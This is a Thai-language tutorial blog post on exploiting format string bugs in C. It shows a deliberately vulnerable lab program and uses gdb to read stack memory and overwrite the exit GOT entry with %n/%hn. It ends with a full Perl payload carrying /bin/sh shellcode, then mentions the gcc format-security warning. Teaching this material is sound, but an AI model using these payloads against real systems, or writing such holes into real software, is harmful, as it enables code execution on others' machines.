หลายคนคงเขียนใช้คำสั่ง printf ใน C มาแล้ว format string คือ argument ที่ชื่อว่า format ในตระกูล printf function เช่น printf, fprintf, sprintf เป็นต้น โดยคำสั่งเหล่านี้ สามารถดูรายละเอียดได้ด้วย "man 3 printf"
ฟังก์ชันในตระกูล printf จะรับ argument กี่ตัวก็ได้ โดยปกติเราจะใส่เพิ่มเท่ากับจำนวนตัวแปรที่เราใช้ใน format string เช่น
printf("%s %d %x", "Hello", 1234, 0xabcd);
format string คือ "%s %d %x" ซึ่งต้องการ argument 3 ตัว สำหรับ format string โดยวิธีการเรียก printf function จะเป็นแบบ cdecl (สำหรับคนที่ลืมว่าคืออะไร กลับไปดูได้ที่หัวข้อ Function กับ Stack) คือ argument จะส่งผ่านโดยการนำค่าลงใน stack
แต่ถ้าเราไม่ใส่ argument เพิ่มสำหรับ format string ฟังก์ชัน printf ก็ยังคงทำงานเสมือนเราส่งผ่าน argument ให้ โดยการดึงค่าของ argument ถัดไปจาก stack เรามาดูตัวอย่างกันเลยดีกว่า (ex_10_1.c) เมื่อ compile จะมี warning โดยผมจะพูดถึงทีหลัง
/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_10_1 ex_10_1.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char **argv) { char buf[512]; strncpy(buf, argv[1], 510); printf(buf); exit(0); }
อ่านค่าจาก memory
ในโปรแกรมนี้ จะเห็นว่า strncpy() นี้ ไม่มีการเกิด buffer overflow แต่ในบรรทัด printf นั้นจะเห็นว่า buf คือ format string ดังนั้น input ที่เราใส่เข้าไปจะเป็น format string ดังนั้นถ้าเราลอง
$ ./ex_10_1 "test" && echo test $ ./ex_10_1 "%s" && echo %s $ ./ex_10_1 "%s%s" && echo Segmentation fault
ทำไมเกิด "Segmentation fault" เรามาลองดูใน gdb กันดีกว่า
$ gdb -q ./ex_10_1 Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: ... 0x08048460 <+44>: lea 0x10(%esp),%eax 0x08048464 <+48>: mov %eax,(%esp) 0x08048467 <+51>: call 0x8048354 <printf@plt> ... (gdb) b *0x08048467 Breakpoint 1 at 0x8048467 (gdb) r "%s%s" Starting program: /home/worawit/tutz/ch10/ex_10_1 "%s%s" Breakpoint 1, 0x08048467 in main () (gdb) x/4x $esp 0xbffff4f0: 0xbffff500 0xbffff8ff 0x000001fe 0x00000000 (gdb) x/s 0xbffff500 # argument ตัวที่1 ของ printf คือ format string 0xbffff500: "%s%s" (gdb) x/s 0xbffff8ff # argument สำหรับ %s แรก 0xbffff8ff: "%s%s" (gdb) x/s 0x000001fe # argument สำหรับ %s ตัวที่สอง 0x1fe: <Address 0x1fe out of bounds>
จะเห็นว่า argument สำหรับ %s ตัวที่สองนั้น เป็น address ที่ไม่สามารถอ้างถึงได้ ทำให้เกิด segmentation fault ดังนั้นถ้าเราเปลี่ยนจาก %s เป็น %x เพื่อดูค่าต่างๆ ทำให้เราสามารถอ่านค่าต่างๆ ที่อยู่ใน memory ได้ เช่น
$ ./ex_10_1 "%x %x %x %x" && echo bffff90b 1fe 0 25207825 $ ./ex_10_1 "AAAAAAAA %x %x %x %x %x %x %x %x" && echo AAAAAAAA bffff8f6 1fe 0 41414141 41414141 20782520 25207825 78252078
จะเห็นว่า เราสามารถ dump ค่าที่อยู่ใน stack ออกมาได้ และถ้าสังเกตค่า 41414141 ค่านี้คือตัวอักษร AAAA ซึ่งเป็น string ที่โปรแกรม copy ไปไว้ใน buf
จาก man page ของ printf เราสามารถที่จะอ้างถึง argument สำหรับ format string ตัวที่ต้องการได้โดยตรง ด้วยการใช้ $ modifier เช่นถ้าเราต้องการให้ print ค่าจาก argument ตัวที่ 4 ของ format string ก็จะเป็น %4$x
$ ./ex_10_1 "AAAA %4\$x" && echo AAAA 41414141 $ ./ex_10_1 'AAAA %5$x' && echo AAAA 24352520
ดังนั้น เมื่อเราใช้ $ modifier จะทำให้เราสามารถอ่านค่าจาก memory ในตำแหน่งที่ต้องการได้ เช่นตัวอย่างต่อไปนี้ที่ทำการ dump ค่าออกมา
$ for(( i = 1; i < 50; i++)); do echo -n "$i " && ./ex_10_1 "AAAABBBBCCCCDDDDEEEE1234567890_%$i\$x" && echo; done 1 AAAABBBBCCCCDDDDEEEE1234567890_bffff8f4 2 AAAABBBBCCCCDDDDEEEE1234567890_1fe 3 AAAABBBBCCCCDDDDEEEE1234567890_0 4 AAAABBBBCCCCDDDDEEEE1234567890_41414141 5 AAAABBBBCCCCDDDDEEEE1234567890_42424242 6 AAAABBBBCCCCDDDDEEEE1234567890_43434343 7 AAAABBBBCCCCDDDDEEEE1234567890_44444444 8 AAAABBBBCCCCDDDDEEEE1234567890_45454545 9 AAAABBBBCCCCDDDDEEEE1234567890_34333231 10 AAAABBBBCCCCDDDDEEEE1234567890_38373635 11 AAAABBBBCCCCDDDDEEEE1234567890_255f3039 12 AAAABBBBCCCCDDDDEEEE1234567890_78243231 13 AAAABBBBCCCCDDDDEEEE1234567890_0 ...
เขียนค่าลงใน memory
หลังจากอ่านค่าจาก memory ไปแล้ว คราวนี้มาดูวิธีการเขียนค่าลงใน memory บ้าง ถ้าดูที่ "conversion specifier" ใน man page จะเห็นว่าตัว n ใช้สำหรับเขียนจำนวนตัวอักษรที่แสดงผลไปแล้ว ที่ address ที่ระบุใน argument ของ format string เช่น (ex_10_2.c)
/* gcc -o ex_10_2 ex_10_2.c */ #include <stdio.h> int main(int argc, char **argv) { unsigned int num; printf("%s\n%n", argv[1], &num); printf("num is %u\n", num); return 0; }
$ ./ex_10_2 a a num is 2 $ ./ex_10_2 ab ab num is 3 $ ./ex_10_2 12 12 num is 3
จะเห็นว่า num จะเท่ากับจำนวนที่ printf ได้แสดงผลไปแล้ว (รวม \n ด้วยนะครับ)
กลับไปที่ตัวอย่างแรก จะเห็นว่าตอนเรา dump ค่าออกมา จะมีค่าที่เราใส่เข้าไปอยู่ใน stack ด้วย แสดงว่าถ้าเราใส่ค่าเป็น address ของที่เราต้องการที่จะเขียน แล้วใช้ format string %n เพื่อเขียนค่าเข้าไปในตำแหน่งที่เราต้องการ แต่เราจะเขียนทับที่ไหนดีละ
จริงๆ แล้วมีอยู่หลายที่จะเขียนทับได้ แต่ผมจะแสดงการเขียนทับ GOT entry ที่เก็บ address ของ exit function เอาไว้
$ objdump -R ./ex_10_1 | grep exit 08049648 R_386_JUMP_SLOT exit
หลังจากได้ address เรามาลองเขียนทับกัน โดยจากที่เราทดสอบข้างบน ค่าใน buf จะเริ่มเป็น argument ของ format string ที่ตัวที่ 4 ดังนั้นเวลาเราใช้ $ modifier เราต้องอ้างให้ตรงกับตำแหน่งที่เราใส่ address ของ GOT entry ลงไป
$ gdb -q ./ex_10_1 Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done. (gdb) b *0x08048467 Breakpoint 1 at 0x8048467 (gdb) r `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'` Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'` Breakpoint 1, 0x08048467 in main () (gdb) x/x 0x08049648 0x8049648 <_GLOBAL_OFFSET_TABLE_+28>: 0x0804836a (gdb) ni 0x0804846c in main () (gdb) x/x 0x08049648 0x8049648 <_GLOBAL_OFFSET_TABLE_+28>: 0x0000000c # ที่เป็น 12 เพราะ \x48\x96\x04\x0812345678
เราสามารถแก้ค่าของ GOT entry ได้แล้ว แต่ถ้าจำกันได้ ปกติค่าของ stack ที่เราจะใส่ shellcode จะมีค่าเป็น 0xbf?????? ปกติเราจะใส่จำนวนตัวอักษรที่ยาวขนาดนั้นไม่ได้ แต่เราสามารถที่จะกำหนดความยาวของค่าที่จะพิมพ์ได้ (อยู่ในหัวข้อ The field width ใน man page) เช่น %10d จะพิมพ์ทั้งหมด 10 ตัวอักษร ถ้าตัวเลขยาวไม่พอก็จะ pad ด้วยช่องว่างข้างหน้า
แต่ถ้าเราใส่ค่าขนาดนั้นเพื่อที่จะ print จะพบว่าแค่ print ก็ต้องใช้เวลานานมากๆ วิธีแก้ก็คือเขียน 2 รอบเพื่อแก้ค่าทีละ 2 bytes และเพื่อความสะดวก เราสามารถที่จะใช้ length modifier ตัว h ให้เป็น %hn เพื่อเขียนทีละ 2 bytes
(gdb) r `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'` Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'` Breakpoint 1, 0x08048467 in main () (gdb) x/x 0x08049648 0x8049648 <_GLOBAL_OFFSET_TABLE_+28>: 0x0804836a (gdb) ni ... # ตัวอักษรที่ print ออกมา 0x0804846c in main () (gdb) x/x 0x08049648 0x8049648 <_GLOBAL_OFFSET_TABLE_+28>: 0x04080208 # คิดถึงเรื่อง endian ด้วย
หลังจากทดสอบว่าเราสามารถเขียนค่าได้แล้ว เราก็ต้องมาหา address ของ shellcode เพื่อเป็นค่าที่เราจะเขียนทับ GOT entry
$ ulimit -c unlimited $ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$hn%512x%5\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'` ... Segmentation fault (core dumped) $ gdb -q ./ex_10_1 core ... Program terminated with signal 11, Segmentation fault. #0 0x04080208 in ?? () (gdb) x/20x $esp 0xbffff46c: 0x08048478 0x00000000 0xbffff865 0x000001fe 0xbffff47c: 0x00000000 0x08049648 0x0804964a 0x32313525 0xbffff48c: 0x24342578 0x35256e68 0x25783231 0x6e682435 0xbffff49c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4ac: 0x90909090 0x90909090 0x90909090 0x90909090
ได้ address คือ 0xbffff4b0 ซึ่งจะเห็นว่าค่า 0xf4b0 (62640) นั้นมากกว่า 0xbfff (49151) ดังนั้นผมจะทำการเขียนค่าที่ 0x0804964a ก่อน ซึ่งค่าความยาวที่เราต้องใส่สำหรับ %x แรกคือ 49151 - 8 = 49143 และ %x ที่สองคือ 62640 - 49143 = 13497 ทำให้เราได้ exploit ดังนี้
$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%49143x%5\\$hn%13497x%4\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'` ... $
ผ่านไปอีก 1 เทคนิค ก่อนจบกลับไปดูที่ warning ตอนแรกกันก่อน จะเห็นว่า gcc ได้มีการเตือนแล้วเราโค้ดแบบนี้ อาจจะมีปัญหาได้ ซึ่งทำให้ programmer ส่วนมากนั้น จะเจอ bug นี้ตั้งแต่ตอน compile ทำให้ bug นี้นั้น ไม่ค่อยเห็นอีกแล้วในปัจจุบัน และเรายังสามารถให้ gcc แสดงเป็น error สำหรับกรณีเฉพาะได้ด้วย -Werror=format-security
$ gcc -Werror=format-security -o test ex_10_1.c ex_10_1.c: In function ‘main’: ex_10_1.c:13: error: format not a string literal and no format arguments
No comments:
Post a Comment